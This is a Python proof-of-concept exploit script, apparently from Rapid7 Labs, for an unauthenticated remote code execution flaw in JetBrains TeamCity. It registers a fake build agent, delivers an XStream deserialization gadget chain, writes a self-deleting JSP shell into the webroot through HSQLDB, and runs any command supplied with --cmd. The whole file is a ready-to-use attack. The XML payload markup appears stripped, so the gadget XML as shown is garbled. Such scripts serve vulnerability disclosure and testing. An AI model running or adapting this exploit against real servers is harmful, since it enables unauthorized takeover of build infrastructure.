#!/usr/bin/env python3
r"""PoC for TeamCity CVE-2026-63077.
The script builds the complete XStream gadget graph in memory, registers a
synthetic polling agent, sends the graph to the unauthenticated error-command
endpoint, and requests a randomized one-shot ``.jspws`` terminal.
The command is supplied with ``--cmd`` and defaults to:
notepad.exe
It deletes its own source before execution and emits a per-run response token
only after ``Runtime.exec()`` successfully creates the process. It deliberately
does not wait for the process to exit, so interactive commands do not block the
HTTP response.
"""
from __future__ import annotations
import argparse
import json
import secrets
import ssl
import sys
import textwrap
import urllib.error
import urllib.parse
import urllib.request
from pathlib import Path
from xml.sax.saxutils import escape
def xml_text(value: str) -> str:
"""Encode dynamic element text, including quotes for easy auditing."""
return escape(value, {'"': """, "'": "'"})
def sql_string(value: str) -> str:
"""Return an HSQLDB single-quoted string literal."""
return "'" + value.replace("'", "''") + "'"
def java_string(value: str) -> str:
"""Return a Java-compatible double-quoted string literal.
JSON and Java use the same escapes for the ASCII values used by the PoC.
Keeping this as a function makes the Java -> SQL -> XML encoding layers
explicit instead of relying on a pre-escaped payload blob.
"""
return json.dumps(value, ensure_ascii=True)
def random_token() -> str:
"""Return an independent identifier suitable for Java, SQL, and XML."""
return secrets.token_hex(6)
def random_tokens(count: int) -> tuple[str, ...]:
"""Return distinct random identifiers in generation order."""
values: list[str] = []
while len(values) < count:
value = random_token()
if value not in values:
values.append(value)
return tuple(values)
def build_registration_xml() -> bytes:
"""Build a unique synthetic-agent registration document."""
agent_name, auth_token = map(xml_text, random_tokens(2))
return f"""
""".encode("utf-8")
def build_jsp_scriptlet(
jsp_path: str, guard: str, response_token: str, command: str
) -> str:
"""Build the JSP terminal embedded in the HSQLDB script.
A randomized application attribute prevents the compiled servlet from
executing twice. Deleting the source first also makes deletion failure a
fail-closed condition: the operating-system command is not reached.
The template is kept multiline here for readability. It is compacted only
before being returned because the HSQLDB/JSP polyglot must occupy one
physical SQL row in the generated SCRIPT file.
"""
scriptlet = f"""
<%
if (application.getAttribute({java_string(guard)}) == null) {{
application.setAttribute(
{java_string(guard)},
java.lang.Boolean.TRUE
);
java.nio.file.Files.deleteIfExists(
java.nio.file.Path.of(
application.getRealPath({java_string(jsp_path)})
)
);
java.lang.Runtime.getRuntime().exec({java_string(command)});
out.print({java_string(response_token)});
}}
%>
"""
# HSQLDB SCRIPT serializes the table row into the JSP/SQL polyglot. Keeping
# the scriptlet on one physical line prevents row formatting from splitting
# the JSP element while preserving the readable template above.
return " ".join(
line.strip() for line in textwrap.dedent(scriptlet).splitlines()
if line.strip()
)
def build_payload(webroot_relative: str, command: str) -> tuple[bytes, str, bytes]:
"""Build and return ``(payload_xml, jsp_uri, expected_response_token)``.
The surrounding Python comments document each gadget stage. Dynamic SQL is
encoded in three deliberate steps: Java string literals, HSQLDB string
literals, then XML element text.
"""
if not webroot_relative or any(
character in webroot_relative for character in "\x00\r\n"
):
raise ValueError("webroot-relative must be a non-empty single line")
if not command or any(character in command for character in "\x00\r\n"):
raise ValueError("cmd must be a non-empty single line")
(
file_id,
guard,
response_token,
database_name,
table_id,
column_id,
*map_keys,
) = random_tokens(9)
filename = f"{file_id}.jspws"
jsp_uri = f"/{filename}"
normalized_webroot = webroot_relative.replace("\\", "/").rstrip("/")
if not normalized_webroot:
raise ValueError("webroot-relative must identify a directory")
output_path = f"{normalized_webroot}/{filename}"
table_name = f"T{table_id.upper()}"
column_name = f"C{column_id.upper()}"
jsp = build_jsp_scriptlet(jsp_uri, guard, response_token, command)
init_sql = (
f"CREATE TABLE IF NOT EXISTS {table_name}({column_name} VARCHAR(4000))",
f"INSERT INTO {table_name} VALUES ({sql_string(jsp)})",
f"SCRIPT {sql_string(output_path)}",
)
# Stage 1 uses a Throwable permitted by XStream 1.4.20.3's default
# hierarchy permission. Its exact declared fields allocate the otherwise
# denied HSQL storage and BasicDataSource objects without a new class node.
#
# Stage 2 uses exact FreeMarker fields and reference-only nodes to relocate
# BasicDataSource into a BooleanModel without repeating its type check.
#
# Stage 3 reconstructs a HashSet. TiedMapEntry.hashCode() asks HashAdapter
# for "connection", so BeanModel invokes BasicDataSource.getConnection()
# and DBCP runs the three HSQLDB initialization statements above.
payload = f"""
{map_keys[0]}-1trueorg.hsqldb.jdbc.JDBCDrivertrue8800-1falsefalse-1falsetruefalse-131800000-1org.apache.commons.pool2.impl.DefaultEvictionPolicyfalse{xml_text(f'jdbc:hsqldb:mem:{database_name}')}SA-1{xml_text(init_sql[0])}{xml_text(init_sql[1])}{xml_text(init_sql[2])}false-1truetruetruefalsefalsefalsefalse{map_keys[1]}0falsefalse23020030002.3.00falsefalse0falsefalse0truefalsefalsetrue{map_keys[2]}connection
""".encode("utf-8")
return payload, jsp_uri, response_token.encode("utf-8")
def request(
url: str,
*,
timeout: float,
body: bytes | None = None,
headers: dict[str, str] | None = None,
) -> tuple[int, dict[str, str], bytes]:
"""Make one request with an unverified TLS context and retain error bodies."""
method = "POST" if body is not None else "GET"
req = urllib.request.Request(
url, data=body, headers=headers or {}, method=method
)
try:
response = urllib.request.urlopen(
req,
timeout=timeout,
context=ssl._create_unverified_context(),
)
status = response.status
except urllib.error.HTTPError as error:
response = error
status = error.code
try:
response_headers = {
key.lower(): value for key, value in response.headers.items()
}
return status, response_headers, response.read()
finally:
response.close()
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument(
"base_url",
help="TeamCity base URL, for example http://192.168.86.171:8111",
)
parser.add_argument(
"--cmd",
default="notepad.exe",
help="operating-system command passed to Runtime.exec() (default: notepad.exe)",
)
parser.add_argument(
"--webroot-relative",
default="../webapps/ROOT",
help=(
"TeamCity webroot relative to HSQLDB's process working directory "
"(default: ../webapps/ROOT for the stock Windows installation)"
),
)
parser.add_argument(
"--dump-payload",
type=Path,
help="optional path for the generated XML payload",
)
parser.add_argument(
"--response-out",
type=Path,
help="optional path for the final JSP response body",
)
parser.add_argument(
"--http-timeout",
type=float,
default=15.0,
help="timeout in seconds for each HTTP request",
)
args = parser.parse_args()
base = args.base_url.rstrip("/")
print("=======================================================================================")
print("Rapid7 Labs - JetBrains TeamCity unauthenticated RCE via agent polling (CVE-2026-63077)")
print("=======================================================================================")
print(f"[+] Targeting: {base}")
command_id = str(secrets.randbelow(900_000) + 100_000)
try:
if args.http_timeout <= 0:
raise ValueError("http-timeout must be greater than zero")
parsed = urllib.parse.urlparse(base)
if parsed.scheme not in ("http", "https") or not parsed.hostname:
raise ValueError("target must be an HTTP(S) URL with a host")
if parsed.username or parsed.password:
raise ValueError("credentials are not accepted in the target URL")
if parsed.query or parsed.fragment:
raise ValueError("target URL must not contain a query or fragment")
payload, jsp_path, expected_response = build_payload(
args.webroot_relative, args.cmd
)
registration = build_registration_xml()
if args.dump_payload:
args.dump_payload.write_bytes(payload)
except (OSError, ValueError) as exc:
print(str(exc), file=sys.stderr)
return 1
try:
status, headers, body = request(
f"{base}/app/agents/v1/register",
timeout=args.http_timeout,
body=registration,
headers={"Content-Type": "application/xml"},
)
session = headers.get("teamcity-agentsessionid")
if status != 200 or not session:
print(f"[-] registration failed: HTTP {status}", file=sys.stderr)
if body:
print(
body.decode("utf-8", errors="replace")[:400],
file=sys.stderr,
)
return 1
command_status, _, command_body = request(
f"{base}/app/agents/v1/commands/error",
timeout=args.http_timeout,
body=payload,
headers={
"Content-Type": "application/xml",
"TeamCity-AgentSessionId": session,
"TeamCity-AgentCommandId": command_id,
},
)
jsp_status, _, jsp_body = request(
f"{base}{jsp_path}", timeout=args.http_timeout
)
if args.response_out:
args.response_out.write_bytes(jsp_body)
except OSError as exc:
print(f"[-] request failed: {exc}", file=sys.stderr)
return 1
print(f"[+] Registering session: /app/agents/v1/register returned session {session}")
print(f"[+] Triggering deserialization: /app/agents/v1/commands/error returned HTTP {command_status}")
print(f"[+] Triggering JSPWS payload: {jsp_path} returned HTTP {jsp_status}")
if jsp_status == 200 and expected_response in jsp_body:
print(f"[+] Command executed: {args.cmd}")
return 0
print("[-] per-run token was not returned by the one-shot JSP", file=sys.stderr)
if command_body:
print(
command_body.decode("utf-8", errors="replace")[:400],
file=sys.stderr,
)
return 1
if __name__ == "__main__":
raise SystemExit(main())